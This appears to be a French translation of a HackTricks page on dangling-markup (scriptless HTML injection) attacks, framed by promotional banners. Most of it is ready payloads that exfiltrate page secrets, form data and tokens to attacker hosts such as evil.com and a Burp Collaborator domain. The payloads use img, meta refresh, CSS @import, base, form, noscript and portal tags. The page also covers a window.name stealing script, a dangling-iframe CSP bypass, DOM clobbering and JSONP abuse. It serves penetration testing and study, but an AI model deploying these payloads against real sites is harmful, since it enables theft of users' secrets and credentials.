.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - Injection HTML sans script
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Résumé
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une injection HTML est trouvée. C'est très utile si vous ne trouvez aucun moyen d'exploiter un XSS mais que vous pouvez injecter certaines balises HTML.
Elle est également utile si un secret est sauvegardé en clair dans le HTML et que vous souhaitez l'exfiltrer du client, ou si vous voulez induire en erreur l'exécution d'un script.
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines Politiques de Sécurité de Contenu en exfiltrant des informations de manières inattendues (balises html, CSS, balises http-meta, formulaires, base...).
Principales Applications
Voler des secrets en clair
Si vous injectez <img src='http://evil.com/log.cgi?
lorsque la page est chargée, la victime vous enverra tout le code entre la balise img
injectée et la prochaine guillemet dans le code. Si un secret se trouve de manière quelconque dans ce bloc, vous le volerez (vous pouvez faire la même chose en utilisant un guillemet double, regardez lequel pourrait être plus intéressant à utiliser).
Si la balise img
est interdite (à cause de CSP par exemple), vous pouvez également utiliser <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Notez que Chrome bloque les URL HTTP contenant "<" ou "\n", donc vous pourriez essayer d'autres schémas de protocole comme "ftp".
Vous pouvez également abuser de CSS @import
(envoie tout le code jusqu'à ce qu'il trouve un ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Vous pourriez également utiliser <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Vous pouvez également insérer une balise <base>
. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise base aura changé le domaine pointé par le lien) :
<base target=' <--- Injected
steal me'<b>test</b>
Vol de formulaires
<base href='http://evil.com/'>
Vol de formulaires 2
Définissez un en-tête de formulaire : <form action='http://evil.com/log_steal'>
cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
Vol de formulaires 3
Le bouton peut changer l'URL où les informations du formulaire vont être envoyées avec l'attribut "formaction" :
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Un attaquant peut utiliser cela pour voler des informations.
Vol de secrets en clair 2
En utilisant la technique mentionnée précédemment pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
<input type='hidden' name='review_body' value="
et ce champ de saisie contiendra tout le contenu entre sa double citation et la prochaine double citation dans le HTML. Cette attaque combine "Vol de secrets en clair" avec "Vol de formulaires2".
Vous pouvez faire la même chose en injectant un formulaire et une balise <option>
. Toutes les données jusqu'à ce qu'une balise </option>
fermée soit trouvée seront envoyées :
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injection de paramètre de formulaire
Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Vol de secrets en clair via noscript
<noscript></noscript>
est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge javascript (vous pouvez activer/désactiver Javascript dans Chrome à chrome://settings/content/javascript).
Une manière d'exfiltrer le contenu de la page web du point d'injection jusqu'en bas vers un site contrôlé par l'attaquant consistera à injecter ceci :
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Contournement de CSP avec interaction utilisateur
D'après cette recherche de portswiggers, vous pouvez apprendre que même dans les environnements les plus restreints par CSP, vous pouvez toujours exfiltrer des données avec une certaine interaction de l'utilisateur. Pour cette occasion, nous allons utiliser le payload :
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Notez que vous demanderez à la victime de cliquer sur un lien qui la redirigera vers un payload que vous contrôlez. Notez également que l'attribut target
à l'intérieur de la balise base
contiendra du contenu HTML jusqu'à la prochaine apostrophe simple.
Cela signifie que la valeur de window.name
si le lien est cliqué sera tout ce contenu HTML. Par conséquent, comme vous contrôlez la page où la victime accède en cliquant sur le lien, vous pouvez accéder à ce window.name
et exfiltrer ces données :
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Flux de travail de script trompeur 1 - Attaque de l'espace de noms HTML
Insérez une nouvelle balise avec un id à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée :
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Flux de travail de script trompeur 2 - Attaque de l'espace de noms de script
Créez des variables à l'intérieur de l'espace de noms javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application :
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Abus de JSONP
Si vous trouvez une interface JSONP, vous pourriez être capable d'appeler une fonction arbitraire avec des données arbitraires :
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ou vous pouvez même essayer d'exécuter du javascript :
<script src='/search?q=a&call=alert(1)'></script>
Abus de l'iframe
Notez qu'un document enfant peut voir et définir la propriété de localisation pour le parent, même en cross-origin. Cela signifie que vous pouvez faire accéder le client à n'importe quelle autre page en chargeant dans un iframe du code comme :
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Cela peut être atténué avec quelque chose comme : sandbox='allow-scripts allow-top-navigation'
Un iframe peut également être utilisé pour divulguer des informations sensibles d'une autre page en utilisant l'attribut name de l'iframe. C'est parce que vous pouvez créer un iframe qui s'auto-iframe en abusant de l'injection HTML qui fait apparaître les infos sensibles à l'intérieur de l'attribut name de l'iframe puis accéder à ce nom depuis l'iframe initial et le divulguer.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Pour plus d'informations, consultez https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Abus de la balise <meta
Vous pouvez utiliser meta http-equiv
pour effectuer plusieurs actions comme définir un Cookie : <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou effectuer une redirection (dans ce cas, après 5 secondes) : <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Cela peut être évité avec une CSP concernant http-equiv (Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Nouvelle balise HTML <portal
Vous pouvez trouver une recherche très intéressante sur les vulnérabilités exploitables de la balise <portal ici.
Au moment de la rédaction de ce texte, vous devez activer la balise portal sur Chrome dans chrome://flags/#enable-portals
sinon cela ne fonctionnera pas.
<portal src='https://attacker-server?
Fuites HTML
Toutes les méthodes de fuite de connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois elles pourraient aider. Vérifiez-les ici : https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
C'est un mélange entre dangling markup et XS-Leaks. D'un côté, la vulnérabilité permet d'injecter du HTML (mais pas de JS) dans une page de la même origine que celle que nous attaquerons. D'un autre côté, nous n'allons pas attaquer directement la page où nous pouvons injecter du HTML, mais une autre page.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
Les XS-Search sont orientés vers l'exfiltration d'informations cross-origin en abusant des attaques par canal auxiliaire. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme Injection CSS ou Chargement paresseux d'images.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Liste de détection par force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Références
Toutes les techniques présentées ici et plus peuvent être examinées plus en détail dans :
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
D'autres balises HTML qui peuvent être abusées peuvent être trouvées ici :
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
Plus d'infos :
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.